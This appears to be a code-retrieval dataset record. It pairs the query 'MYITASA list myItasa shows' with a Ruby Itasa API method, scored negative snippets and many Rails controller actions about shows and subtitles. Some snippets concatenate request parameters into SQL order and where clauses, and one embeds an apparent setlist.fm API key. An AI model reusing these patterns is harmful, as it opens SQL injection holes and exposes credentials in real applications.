"def show\n @showings = @client.showings.includes(listing: :pictures)\n @showings = @showings.order(\"listings.\" + params[:order]) if params[:order]\n @showings = @showings.where('showings.compare' => true).paginate(:page => params[:page], :per_page => 3) if (params[:view] == \"compare\")\n @showings = @showings.paginate(:page => params[:page], :per_page => 21) if (params[:view] == \"all\")\n \n @dashboard_listing_set = dashboard_listing_set(@showings, @client) unless params[:view]\n end",
"def index\n @shows = Show.all\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @shows, status: 200}\n end\n end",
"def index\n @showpieces = Showpiece.all\n end",
"def index\n\t\tShow.includes( :links, :songs, :artists, :presses )\n\t\t@shows = Show.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shows }\n end\n end",
"def index\n @car_shows = CarShow.all\n end",
"def index\n @show_types = ShowType.all\n end",
"def index\n @shopping_carts = ShoppingCart.all\n @shows = Show.all\n end",
"def show_list\n process_show_list(:conditions => [\"agent_type<>?\", \"VMDB\"])\n end",
"def search\n @shows = show_list\n render :action => :success\n end",
"def index\n @shows = Show.all\n respond_with Show.all\n end",
"def show\n @displays = Display.all\n @names=[]\n @displays.each do |display|\n @names.push display.name\n end\n end",
"def show\n @collections = @collection.collections\n @bookmarks = @collection.bookmarks\n @sharings = @collection.sharings\n end",
"def index\n @shows = Show.where(\"show_date >= ?\", Time.zone.now.to_date).order(\"show_date\")\n end",
"def index\n if params[:preferences].present?\n filter_options = params[:preferences]\n filter_options = filter_options.merge(user: current_user)\n filter_options = filter_options.merge(region: request.headers['Region'])\n @shows = Show.filter(filter_options).limit(10)\n else\n @shows = []\n end\n\n render json: @shows.map { |show|\n serialize_show(show)\n }\n end",
"def show\n run List::Show\n render cell(List::Cell::Show, result['model']), layout: true\n end",
"def show\n # Get shows associated with this podcast\n @shows = Show.where(:podcast_id => params[:id]).order('published_at DESC')\n @subscribers = Subscription.where(:podcast_id => params[:id]).count\n # Paginate the @shows array\n @shows = Kaminari.paginate_array(@shows).page(params[:page]).per(20)\n end",
"def index\n @shows = Show.all\n @shows.sort! { |x, y| Time.parse(y.performancetimes.split(\"|\")[0])<=>Time.parse(x.performancetimes.split(\"|\")[0]) }\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shows }\n end\n end",
"def index\n @movie_showtimes = MovieShowtime.all\n end",
"def show\n\t\t#no need b/c we just show all at once\n\tend",
"def show\n @show_times_today = @cinema.show_times.where(:show_time => ((Date.current.beginning_of_day)..(Date.current.end_of_day))).order(\"show_time ASC\")\n @show_times_tomorrow = @cinema.show_times.where(:show_time => ((Date.current.beginning_of_day + 216000)..(Date.current.end_of_day + 216000))).order(\"show_time ASC\")\n end",
"def show\n \t@season_list = @title.season_list\n \t@episode_list = @title.episodes_for_season(params[:season_choice]||\"All\")\n \tif @episode_list.count == 0\n \t\tparams[:season_choice] = \"All\"\n\t\t\t@episode_list = @title.episodes_for_season(params[:season_choice]||\"All\")\n\t\tend\n \tlogger.debug @episode_list\n end",
"def show\n @songs = @set_list.songs\n end",
"def index\n @shout_lists = ShoutList.all\n end",
"def index\n #@showslists = Showslist.all\n #@showslists = Showslist.find(:all, :order => \"live_date DESC\")\n #@showslists = Showslist.order(live_date: :DESC)\n @showslists = Showslist.search(params[:search])\n end",
"def index\n load_show\n ep_pagination\n respond_to do |format|\n format.html {\n @action_nav = CW::ActionNav::Controller::Base.new.section('Change') {|s|\n s.link 'add', { :action => 'new', :id => @show_id }, { :title => 'Add an episode to the front of the list' }\n }\n render :action => 'index'\n }\n end\n end",
"def index\n\n # RESET BUTTON\n # session[:user_id] = nil\n ###########################################\n\n # IMAGE LOGIC\n # If image_url is present, DO NOT MAKE API CALL, if not then make API call.\n # Which means show = Show.new() and then .save() after api call\n # All the user-defined shows in the db\n date = Date.today\n # Find all shows from today til 3 days from now in DB\n oneDay = date.tomorrow\n twoDays = date.tomorrow.tomorrow\n threeDays = date.tomorrow.tomorrow.tomorrow\n @shows = Show.where('showdate': date)\n @tomorrow = Show.where('showdate': oneDay)\n @dayAfter = Show.where('showdate': twoDays)\n @dayAfterThat = Show.where('showdate': threeDays)\n\n # Combine all current shows with future shows\n @tomorrow.each do |show|\n @shows.push(show)\n end\n @dayAfter.each do |show|\n @shows.push(show)\n end\n @dayAfterThat.each do |show|\n @shows.push(show)\n end\n\n @shows = Show.all\n end",
"def popular_shows\nend",
"def index\n @admin_showcases = Admin::Showcase.order(:sort_id)\n end",
"def index\n @shows = Show.all\n response = HTTParty.get('https://api.setlist.fm/rest/1.0/artist/94f8947c-2d9c-4519-bcf9-6d11a24ad006/setlists?p=1', headers: {\"Accept\" => \"application/json\", \"x-api-key\": \"X5zdk_R9xhoRkSxvDUDSV1n_1hlGGSRPwaDq\"})\n results = JSON.parse(response.body)\n results[\"setlist\"].each do |show|\n if Venue.find_by(mbid: show[\"venue\"][\"id\"])\n # do nothing\n else\n @venue = Venue.create(mbid: show[\"venue\"][\"id\"], \n name: show[\"venue\"][\"name\"], \n city: show[\"venue\"][\"city\"][\"name\"],\n state: show[\"venue\"][\"city\"][\"state\"],\n country: show[\"venue\"][\"city\"][\"country\"][\"code\"])\n end\n # do some not have venues? check for this\n if @venue\n @show = Show.create(name: show[\"venue\"][\"name\"], event_date: show[\"eventDate\"], venue_id: @venue.id)\n else\n @show = Show.create(name: show[\"venue\"][\"name\"], event_date: show[\"eventDate\"])\n end\n # FIXME - hardcoded for dead & co with 3\n ArtistShow.create(artist_id: 3, show_id: @show.id)\n show[\"sets\"][\"set\"].each do |set|\n # increment sets by 1 for ordering later\n encore = set[\"encore\"] if set[\"encore\"]\n set_num = 1\n @setlist = Setlist.create(number: set_num, encore: encore, show_id: @show.id)\n set[\"song\"].each do |song|\n if song[\"cover\"]\n if Artist.find_by(mbid: song[\"cover\"][\"mbid\"])\n # do nothing\n else\n @artist = Artist.create(name: song[\"cover\"][\"name\"], sort_name: song[\"cover\"][\"sortName\"], mbid: song[\"cover\"][\"mbid\"])\n end\n end\n if @artist\n @song = Song.create(name: song[\"name\"], artist_id: @artist.id) \n else\n @song = Song.create(name: song[\"name\"])\n end\n SetlistSong.create(song_id: @song.id, setlist_id: @setlist.id, position: 1 )\n end\n end\n end\n end",
"def on_the_big_screen\n movie_list = Movie.list_movies\n Show.all.select { |show| movie_list.include?(show.name) }\n end",
"def index\n\t\tif (params[:data] != nil)\n\t\t\t@show = Show.new\n\t\t\t@search = Tmdb::Search.new\n\t\t\t@search.resource('tv') # determines type of resource\n\t\t\t@search.query(params[:data]) # the query to search against\n\t\t\t@results = @search.fetch # makes request\n\t\t\t#https://image.tmdb.org/t/p/w300_and_h450_bestv2\n\t\tend\n\n @shows = Show.all\n end",
"def get_all_index_links_to_each_vland_show\n \t\t# index link for shows\n \t\tresp = get_resp(self.url)\n \t\tshow_index_link = self.url + resp.match(/\"\\/([^\"]*\\/shows)/)[1]\n \t\t#should probbly store this on something but yolo\n \t\tresp_shows = get_resp(show_index_link)\n \t\t# create shows by urls\n \t\tresp_shows.scan(/href=\"([^\"]*show\\/[^\"]*)/).uniq.each do |show_url|\n \t\t\tshow=Show.find_or_initialize_by(url: \"https:\" + show_url.to_s.gsub(/[\"\\[\\]]/,\"\"))\n \t\t\tif show.new_record?\n \t\t\t\tshow.content_provider_id = self.id\n \t\t\t\tshow.save!\n \t\t\tend\n \t\tend\n \tend",
"def show\n :set_event\n :event_counts\n end",
"def myitasa_shows\n raise APIError, 'not logged in' if @authcode.nil?\n res = call(\n 'myitasa/shows',\n 'authcode' => @authcode\n )\n\n res.body['Itasa_Rest2_Server_Myitasa']['shows']['shows'].values\n end",
"def show\n\t\tShow.includes( :links, :songs, :artists, :presses )\n @show = Show.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @show }\n end\n end",
"def get_shows_by_name(showname)\n videos = get_listings.videos.select do |s|\n !s.copy_protected? && s.title =~ /#{showname}/\n end\n videos.sort_by(&:time_captured)\n end",
"def index\n @screens = Screen.all\n \n \n \n end",
"def index\n @show_users = ShowUser.all\n end",
"def index\n @showtimes = Showtime.all.sort_by(&:start_time).group_by{ |showtime| showtime.start_time.to_date}.transform_values do |shows|\n shows.group_by{ |showtime| showtime.movie.title }\n end\n end",
"def index\n @displays = Display.all\n end",
"def setlists\n Setlist.where(\"show_id = ? \", id).order(\"set_id ASC, song_order ASC\").all\n end",
"def show\n @user = set_user\n @list = set_list\n @movie = set_movie\n end",
"def query_show_ids(&block)\n @source.query_with_pagination(@queries[:shows], @queries[:count_shows], &block)\n end",
"def show\t\t\t\t\n\t\t\tend",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def show\n\t\t\n\tend",
"def index\n @shines = Shine.all\n end",
"def index\n @showcars = Showcar.all\n end",
"def list\n @view.listing\n end",
"def show\n session[:recent_shows] ||= []\n post_hash = {:title => @post.title, :id => @post.id.to_s}\n\n unless session[:recent_shows].include?(post_hash)\n session[:recent_shows].push(post_hash)\n end\n\n if session[:recent_shows].length > 3\n # 末尾3つを残す\n length = session[:recent_shows].length\n session[:recent_shows] = session[:recent_shows][length-3..-1]\n end\n end",
"def shows()\n Show.all().select() { | show | show.characters().include?(self) }\n end",
"def get_shows(tourid)\n return Show.where(\"tour_id = '\" + tourid.to_s + \"'\").order(\"date\")\n end",
"def get_shows(tourid)\n return Show.where(\"tour_id = '\" + tourid.to_s + \"'\").order(\"date\")\n end",
"def index\n redirect_to Showdown.all.sample\n end",
"def index\n# @show_adapters = ShowAdapter.all\n end",
"def index\n\t\t@active_nav = :calendar\n\t\t@page_name = \" - Upcoming Shows\"\n\t\t\n\t\t@shows = Show.on_show_page.future\n\t\t@this_week = @shows.select{|s| s.this_week?}\n\n\t\t@showtime_data = {}\n\t\t@this_week.each {|show| @showtime_data[show.id] = show.showtimes.map {|st| {:id => st.id, :text => st.short_display_time, :cap => show.cap}}}\n\n\t\t@this_semester = (@shows - @this_week).select{|s| s.this_semester?}\n\t\t@other = @shows - @this_week - @this_semester\n\tend",
"def show\n\t\t@buzzs = Buzz.all\n\tend",
"def show\n\t@bands = Band.all\n\t@artists = Artist.all\n end",
"def load_shows\n # Short-circuit out if the data base is not connected\n return if @db.nil?\n \n res = @db.get_shows\n @list_store = Gtk::ListStore.new(String, String)\n cell_rend = Gtk::CellRendererText.new()\n @cbShow.pack_start(cell_rend, true)\n @cbShow.add_attribute(cell_rend, 'text', 1)\n @cbShow.set_model(@list_store)\n res.each do |row|\n iter = @list_store.append\n iter[0] = row[0]\n iter[1] = row[1]\n end\n end",
"def show\n @entries = @slideshow.entries.recent.limit(12)\n\n @active_feeds = @slideshow.feeds.order(title: :asc)\n @available_feeds = Feed.where.not(id: @slideshow.feed_ids).order(title: :asc)\n end",
"def show\n\t\t\n\t\t\n\tend",
"def show\n \t\n end",
"def show\n \t\n end",
"def show\n\t end",
"def show\n @user = current_user\n @seasons = Season.where(tv_show_id: @tv_show.id).order('number ASC')\n @season = Season.new\n @articles = Article.where(tv_show_id: @tv_show.id).order('created_at DESC')\n @article = Article.new\n @subtitles = @tv_show.subtitles;\n @categories = @tv_show.categories;\n end",
"def show\n \n @show = Show.find(params[:id])\n @comments = @show.comments\n @bands = @show.bands\n @headliner = @bands.at(0)\n @posted_by = User.find(@show.posted_by)\n @edited_by = User.find(:first, :conditions => [\"id = ?\", @show.edited_by])\n #check to see if the band has any pictures available for display\n #if not then retrieve the links from last.fm\n if(!@headliner.has_pictures?)\n retrieve_pictures(@headliner) \n end\n\n @bands.at(0).get_songs\n @songsString = @bands.at(0).get_song_string\n \n set_current_user_if_logged_in()\n \n #check to see \n if(current_user) then\n if current_user.id == @posted_by.id then\n @currentUserViewing = true\n else\n @currentUserViewing = false\n end\n else\n @currentUserViewing = false\n end\n \n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to access invalid show #{params[:id]}\")\n flash[:notice] = \"Invalid Show\"\n redirect_to :action => 'index'\n end",
"def show\n @showing = Showing.find(params[:id])\n end",
"def index\n shows = Show.where(user_id: current_user.id)\n if shows.blank?\n render json: { shows: null }\n else\n render json: { shows: shows }\n end\n end",
"def index\n #@leaveforstaffs = Leaveforstaff.with_permissions_to(:index).find(:all)\n @filters = Leaveforstaff::FILTERS\n if params[:show] && @filters.collect{|f| f[:scope]}.include?(params[:show])\n @leaveforstaffs = Leaveforstaff.with_permissions_to(:index, :order => \"staff_id ASC, leavestartdate ASC\").send(params[:show])\n else\n @leaveforstaffs = Leaveforstaff.with_permissions_to(:index, :order => \"staff_id ASC, leavestartdate ASC\").relevant\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @leaveforstaffs }\n end\n end",
"def index\n #@collections = Collection.all\n\tshow_collections\n end",
"def show\n # делаю что-то @mstores = ....\n #render :action => \"index\"\n end",
"def show\n end",
"def make_shows\n @importer = ShowImporter.new(BASE_URL)\n @importer.import\n end",
"def set_show_set\n @show_set = ShowSet.find(params[:id])\n end",
"def show_list\n\t\tclear\n\t\tputs \"= LISTE DES INSTANCES #{name} =\".bleu\n\t\tputs \"\\n\\n\"\n\t\tlen_delim = defined?(LIST_ENTETE) ? LIST_ENTETE.length + 2 : 80\n\t\tdelim = (\"-\"*len_delim).bleu\n\t\tif defined?(LIST_ENTETE)\n\t\t\tputs delim\n\t\t\tputs LIST_ENTETE \n\t\tend\n\t\tputs delim\n\t\tall.each do |inst|\n\t\t\tputs \" #{inst.to_console}\"\n\t\tend\n\t\tputs delim\n\t\tputs \"\\n\\n\"\n\tend",
"def show() end",
"def show() end",
"def show() end",
"def show\n\t\t end",
"def show \n\n end",
"def show\r\n\r\n end"
] |
[
"0.7756513",
"0.7756513",
"0.7478304",
"0.737432",
"0.7294748",
"0.72412145",
"0.72409934",
"0.72370285",
"0.7200809",
"0.7173827",
"0.7161398",
"0.7161398",
"0.7006228",
"0.6996063",
"0.69062775",
"0.6903133",
"0.6893256",
"0.68704957",
"0.68453175",
"0.6832978",
"0.6822627",
"0.68060434",
"0.6781873",
"0.6768283",
"0.6666134",
"0.6622945",
"0.6621522",
"0.66075444",
"0.6601126",
"0.654358",
"0.65281993",
"0.6518186",
"0.6513528",
"0.6498068",
"0.6491516",
"0.6489246",
"0.64854205",
"0.6477773",
"0.64765257",
"0.64576125",
"0.6456023",
"0.6455301",
"0.64300615",
"0.64163136",
"0.64157754",
"0.6408873",
"0.64075714",
"0.6406661",
"0.64023095",
"0.639829",
"0.6385281",
"0.6378917",
"0.6372815",
"0.63700306",
"0.6344446",
"0.63407326",
"0.63376313",
"0.63197744",
"0.6298618",
"0.6296917",
"0.62922657",
"0.62886596",
"0.62886286",
"0.62886286",
"0.62886286",
"0.6276236",
"0.62710214",
"0.62516826",
"0.6251236",
"0.6249661",
"0.6248785",
"0.6248785",
"0.62462",
"0.6235154",
"0.62341297",
"0.6229003",
"0.6205282",
"0.6199863",
"0.61981726",
"0.6194433",
"0.61880064",
"0.61880064",
"0.6183176",
"0.617545",
"0.61662096",
"0.6159123",
"0.6156362",
"0.61503184",
"0.6144955",
"0.61382043",
"0.6137961",
"0.61309326",
"0.61237097",
"0.6123398",
"0.6122683",
"0.6122683",
"0.6122683",
"0.61132485",
"0.6107402",
"0.6106783"
] |
0.7166421
|
10
|
MYITASA list myItasa shows
|
def myitasa_shows
raise APIError, 'not logged in' if @authcode.nil?
res = call(
'myitasa/shows',
'authcode' => @authcode
)
res.body['Itasa_Rest2_Server_Myitasa']['shows']['shows'].values
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @akis = Aki.all\n end",
"def show\n @itens = @genero.itens.group(\"itens.id\").paginate(page: params[:page], :per_page => 30)\n end",
"def index\n @the_loai_saches = TheLoaiSach.all\n end",
"def index\n @avis = Avi.all\n end",
"def index\n @anuphats = Anuphat.all\n end",
"def index\n @hikiyamas = @omatsuri.hikiyamas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hikiyamas }\n format.json { render :json => @hikiyamas }\n end\n end",
"def index\n @asthenia = Asthenium.all\n end",
"def index\n @tamires = Tamire.all\n end",
"def show_list\n\t\t\t@my_list.show\n\t\tend",
"def index\n @amus = Amu.all\n end",
"def index\n @anios = Anio.all\n end",
"def index\n @it_systems = ItSystem.all\n end",
"def show_qa_analist\n screen_name(\"Inicial-Analista-QA\")\n\n distribute_ots\n\n respond_to do |format|\n format.html { render action: \"show_qa_analist\" }\n format.json { head :ok }\n end\n end",
"def index\n @asama_tanims = AsamaTanim.all\n end",
"def index\n @cautelaitems = Cautelaitem.all\n end",
"def index\n @botanists = Botanist.all\n end",
"def index\n @iscrivitis = Iscriviti.all\n end",
"def index\n @ambits = Ambit.all\n end",
"def index\n @alapps = Alapp.all\n end",
"def index\n @maapps = Maapp.all\n end",
"def list_anime\n puts \"\"\n puts \"Welcome to Anime 2020!\"\n puts \"\"\n puts \"This is a list of anime that has come out, or will come out in 2020!\"\n puts \"\"\n sleep(5.5)\n self.list_all_titles\n end",
"def index\n @ava_infos = AvaInfo.all\n end",
"def index\n @tl_saches = TlSach.all\n end",
"def index\n @imakokos = Imakoko.all\n end",
"def index\n @avalon_items = AvalonItem.where(pod_unit: UnitsHelper.human_readable_units_search(User.current_username)).order(:title)\n end",
"def index\n @apresenta = Apresentum.all\n end",
"def index\n @listas = Lista.where(user_id: current_user.id)\n end",
"def index\n @mahasiswas = Mahasiswa.all\n end",
"def index\n @saches = Sach.all\n end",
"def index\n @activists = Activist.all\n end",
"def index\n @testimonios = Testimonio.all\n end",
"def index\n @amministrazioni = Amministrazione.all\n end",
"def index\n @tyc_humen = Tyc::Human.all\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def list\n session[:project]=params[:id];\n # @alumnis=Alumni.all\n @alumnis=Alumni.search(params[:search])\n end",
"def index\n @liga_tymy_ares = LigaTymyAre.all\n end",
"def gather_amiibos\n Amiiboproject::APIManager.get_amiibo\n end",
"def index\n # @alegeri_user_temas = AlegeriUserTema.all\n end",
"def index\n respond_with ApidDriver.all\n end",
"def index\n @asistencias = Asistencium.all\n end",
"def index\n @chi_tiet_gio_hangs = ChiTietGioHang.all\n end",
"def index\n @takipcis = Takipci.all\n end",
"def index\n @emilies = Emily.all\n end",
"def index\n @akas = Aka.all\n end",
"def index\n @saidas = Saida.all\n end",
"def index\n @animes = Anime.order(id: :desc).page(page).per(per_page)\n set_pagination_header(@animes,\"animes\")\n end",
"def index\n @homilies = Homily.all\n end",
"def index\n @aramis_entities = AramisEntity.all\n end",
"def index\n @utentis = Utenti.all\n end",
"def index\n @ahoogahs = Ahoogah.all\n end",
"def index\n @alram_tests = AlramTest.all\n\t@my_alrams = AlramBoard.where(user_id: current_user.id).order(:id)\n end",
"def index\n @etapas = Etapa.all\n end",
"def index\n @archetypes = Archetype.by_item(params[:item_id])\n end",
"def index\n @iglesias = Iglesia.all\n end",
"def index\n #@keiyakus = Keiyaku.all\n @keiyakus = Keiyaku.page(params[:page]).per(100).order(:id)\n end",
"def index\n @anuncios = Anuncio.all\n end",
"def index\n @apresentacao_um = ApresentacaoUm.all\n end",
"def index\n @vitaminas = Vitamina.all\n end",
"def index\n @xitongzhanghuguanlis = Xitongzhanghuguanli.all\n end",
"def list_all_amiiboseries\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n puts Amiiboproject::Amiibo.all.map {|x| x.amiiboSeries}.uniq\n puts \"--------------------------------------------------------------------------------\\n\\n\"\n end",
"def index\n @anatomic_sites = AnatomicSite.all\n end",
"def list\n get()\n end",
"def index\n @acta = Actum.all\n end",
"def index\n @acta = Actum.all\n end",
"def index\n @ayuda_localidads = AyudaLocalidad.all\n end",
"def index\n @todoit_lists = TodoitList.all\n end",
"def list_animals \n puts \"Here are the current animals in shelter: \"\n @animals_in_shelter.each do |animal|\n puts animal.get_animal_info\n end\n end",
"def index\n @aluguels = Aluguel.all\n end",
"def index\n @ahmeds = Ahmed.all\n end",
"def list_all_titles\n Anime.all.sort{|a,b| a.name <=> b.name}.each_with_index do |anime,i|\n puts \"#{i+1}. #{anime.name}\"\n end\n self.more_info\n end",
"def index\n @microsiga_entries = MicrosigaEntry.all\n end",
"def index\n @gymsites = Gymsite.all\n end",
"def index\n @musicas = Musica.all\n end",
"def index\n @topis = Topi.all\n end",
"def index\n @siritoris = Siritori.order(created_at: :DESC).page(params[:page]).per(12)\n end",
"def index\n @appjayans = Appjayan.all\n end",
"def index\n @uni_asos = UniAso.all\n end",
"def index\n @utensilnames = Utensilname.all\n end",
"def index\n @aplikaces = Aplikace.all\n end",
"def index\n @tuiters = Tuiter.all\n end",
"def index\n @bicicleta = Bicicleta.all\n end",
"def index\n @okugais = Okugai.all\n end",
"def index\n\t\t @items = Item.find_my_items(current_user) \n end",
"def getItemList(name, vault = \"Private\")\n regex = %r{#{name}}i\n all = self.op \"list\", \"items\", \"--vault\", vault\n arr = all.select{|i| regex.match?(i[\"overview\"][\"title\"])}\n return_arr = []\n if arr.class == Array\n arr.each do |item|\n return_arr << item[\"overview\"][\"title\"]\n end\n end\n return_arr\n end",
"def index\n @young_americanas = YoungAmericana.all\n end",
"def index\n @work_and_themata = WorkAndThema.all\n end",
"def index # USER ACTION: LIST ALL FLATS\n end",
"def index\n @huwaeis = Huwaei.all\n end",
"def index\n @testowas = Testowa.all\n end",
"def index\n @automoviles = Automovile.all\n end",
"def index\n @insta_accounts = InstaAccount.all\n end",
"def index\n @campanas = Campana.page(params[:page]).per(10) #.all \n end",
"def index\n @artistas = Artista.all\n end",
"def index\n @tenkis = Tenki.all\n end",
"def list\n\n end",
"def index\n @pais = Pai.all\n end",
"def index\n @pais = Pai.all\n end",
"def index\n @sillas = Silla.all\n end",
"def index\n @aradahs = Aradah.all\n end",
"def index\n @tuiguangs = Tuiguang.all\n end"
] |
[
"0.6459813",
"0.6303081",
"0.6282277",
"0.6268951",
"0.6257568",
"0.6251671",
"0.6229449",
"0.6201208",
"0.61699325",
"0.6157011",
"0.6130558",
"0.60957867",
"0.6086649",
"0.60738844",
"0.6072564",
"0.606",
"0.60546863",
"0.6054395",
"0.60202044",
"0.601346",
"0.6007974",
"0.6007356",
"0.6006116",
"0.6004708",
"0.5987416",
"0.59662086",
"0.5964097",
"0.5957027",
"0.5955955",
"0.59549385",
"0.5953538",
"0.5951143",
"0.5944027",
"0.59377396",
"0.5935697",
"0.592985",
"0.59284455",
"0.59271353",
"0.59238636",
"0.5921799",
"0.59099936",
"0.5903218",
"0.59016436",
"0.58958197",
"0.58865905",
"0.5885758",
"0.5874744",
"0.5865416",
"0.5863491",
"0.5853755",
"0.5851707",
"0.5845664",
"0.58399093",
"0.58385634",
"0.5834762",
"0.5834364",
"0.582885",
"0.58242947",
"0.5816378",
"0.58153486",
"0.58110565",
"0.58077383",
"0.5807124",
"0.5807124",
"0.58068657",
"0.5798616",
"0.5798487",
"0.57962495",
"0.5793777",
"0.5787661",
"0.5784953",
"0.5784257",
"0.5766256",
"0.57655644",
"0.5758869",
"0.5757966",
"0.57572454",
"0.5757202",
"0.5750475",
"0.57500374",
"0.5747868",
"0.5743187",
"0.5742366",
"0.57422763",
"0.5741344",
"0.5741173",
"0.57386774",
"0.57349783",
"0.57311594",
"0.5729536",
"0.5729289",
"0.5722461",
"0.572216",
"0.5721708",
"0.5719338",
"0.5717436",
"0.5717436",
"0.5711643",
"0.57085115",
"0.5702024"
] |
0.6962708
|
0
|
show last myItasa subtitles
|
def myitasa_last_subtitles(page = nil)
raise APIError, 'not logged in' if @authcode.nil?
res = call(
'myitasa/lastsubtitles',
'authcode' => @authcode,
'page' => page
)
res.body['Itasa_Rest2_Server_Myitasa']['lastsubtitles']['subtitles'].values
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def subtitle\n {}\n end",
"def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend",
"def subtitle_print(words)\n title = Artii::Base.new :font => 'slant'\n puts title.asciify(words).colorize(:blue)\n end",
"def add_subtitles(movie)\n video_file_res = movie.project.final + \"/video.avi\"\n video_file = movie.project.final + \"/videotrack.avi\"\n cmd = @settings['subtitles'].dup\n cmd.sub!('<source>', video_file)\n cmd.sub!('<target>', video_file_res)\n cmd.sub!('<subtitles>', movie.subtitles)\n puts \"Adding subtitles\"\n puts cmd\n system(cmd)\n return video_file_res\n end",
"def full_title\n ti = title_values&.first\n st = subtitle_values&.first\n if ti && st\n # Remove the automatically-appended subtitle (in the case of search\n # results entries).\n ti = ti.delete_suffix(st).rstrip.delete_suffix(':')\n # Append the subtitle only if it doesn't appear to already be included in\n # the base title itself.\n ti = \"#{ti}: #{st}\" unless significant(ti).include?(significant(st))\n end\n ti || st || '???'\n end",
"def subtitle\n @descriptive_detail.subtitle\n end",
"def display_info\n\t\tputs \"Total track number: #{@track_list.length}\"\n\t\tputs \"Total artist number: #{@artist_list.length}\"\n\t\tputs \"Last three played track:\"\n\t\t@last_played.each do |last_played_track|\n puts \"------------ Track Info -------------\"\n\t\t\tputs \"#{last_played_track.to_s}\"\n\t\tend\n\tend",
"def set_subtitle!\n if patterns = @name.match(/\\A([^\\b:]+): (.+)\\Z/)\n @name = patterns[1]\n @subtitle = patterns[2]\n end\n end",
"def get_tframe_subtitle(widget)\n title = widget[\"title\"]\n r = title.match(/TRIAGE ?(.*)/)\n return r[1]\nend",
"def display_new_retweets\n\t@curr_top = @top_after_new_stream\n\tclear_screen\n\tputs \"\"\n\tputs \"*\"*50\n\tputs \"TOP RETWEETS IN LAST #{@user_defined_window} MINUTE(S)\"\n\tputs \"*\"*50\n\tputs \"\"\n\t@curr_top.each do |retweet|\n\t\ttext = @tweet_db[retweet[0]][:original].text.gsub(/\\n/,\" \")\n\t\tcount = retweet[1]\n\t\tputs \"Retweet Count: #{count} Text: #{text}\"\n\tend\nend",
"def get_all_sub_titles\n show_all_titles_and_subtitles(\"subtitle\")\n return @subtitles\n end",
"def titre\n \"Links Analysis du #{Time.now.strftime('%d %m %Y à %H:%M')}\"\n end",
"def print_latest_song(tracks)\n\t\n\tputs tracks[0]['artist']['#text']\n\tputs tracks[0]['name'] + \" - \" + tracks[0]['album']['#text']\nend",
"def retrieve_subtitle\n\t\t\tFile.unlink(\"/tmp/Sub.srt\") if File.exists?(\"/tmp/Sub.srt\")\n\t\t\tget_from_source\n\t\t\treturn true if valid_subtitle?\n\t\t\tFile.unlink(\"/tmp/Sub.srt\") if File.exists?(\"/tmp/Sub.srt\")\n\t\t\treturn false\n\t\tend",
"def last_text\n last_ele UIAStaticText\n end",
"def subtitle(value = nil, options = nil)\n end",
"def save_subtitle contents, fs, source_id\n srt_filename = @filename.gsub /.mp4$/, ''\n srt_filename += \".#{source_id}#{next_distinguisher}.srt\"\n @stdout.puts \"Downloaded as #{srt_filename}\"\n fs.save_file srt_filename, contents\n end",
"def list_all_titles\n Anime.all.sort{|a,b| a.name <=> b.name}.each_with_index do |anime,i|\n puts \"#{i+1}. #{anime.name}\"\n end\n self.more_info\n end",
"def last_movie\n doc.search(\"a[title='Последний фильм']\").text\n end",
"def showSubtitles _args\n \"showSubtitles _args;\" \n end",
"def tv_last_channel \n send_cmd(\"tv_last_channel\")\n end",
"def sub_load _subtitle_file\n send_cmd(\"sub_load #{_subtitle_file}\")\n end",
"def subtitle(page_subtitle, show_subtitle = true, ignore_in_breadcrumbs = false)\n @show_subtitle = show_subtitle\n @ignore_subtitle_in_breadcrumbs = ignore_in_breadcrumbs\n @subtitle_for_content = page_subtitle.to_s\n end",
"def itunes_subtitle\n if @itunes_subtitle.nil?\n @itunes_subtitle = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"itunes:subtitle/text()\"\n ], :select_result_value => true),\n FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"itunes:subtitle/text()\"\n ], :select_result_value => true)\n ])\n unless @itunes_subtitle.blank?\n @itunes_subtitle =\n FeedTools::HtmlHelper.unescape_entities(@itunes_subtitle)\n @itunes_subtitle =\n FeedTools::HtmlHelper.sanitize_html(@itunes_subtitle)\n @itunes_subtitle.strip!\n else\n @itunes_subtitle = nil\n end\n end\n return @itunes_subtitle\n end",
"def played\n # @@played.inspect\n index = @@played.length \n puts @@played[index-1].show \n end",
"def print_teaser(last_guess = nil)\n update_teaser(last_guess) unless last_guess.nil?\n puts @word_teaser\n end",
"def subtitle(subtitle)\n @subtitle = subtitle\n end",
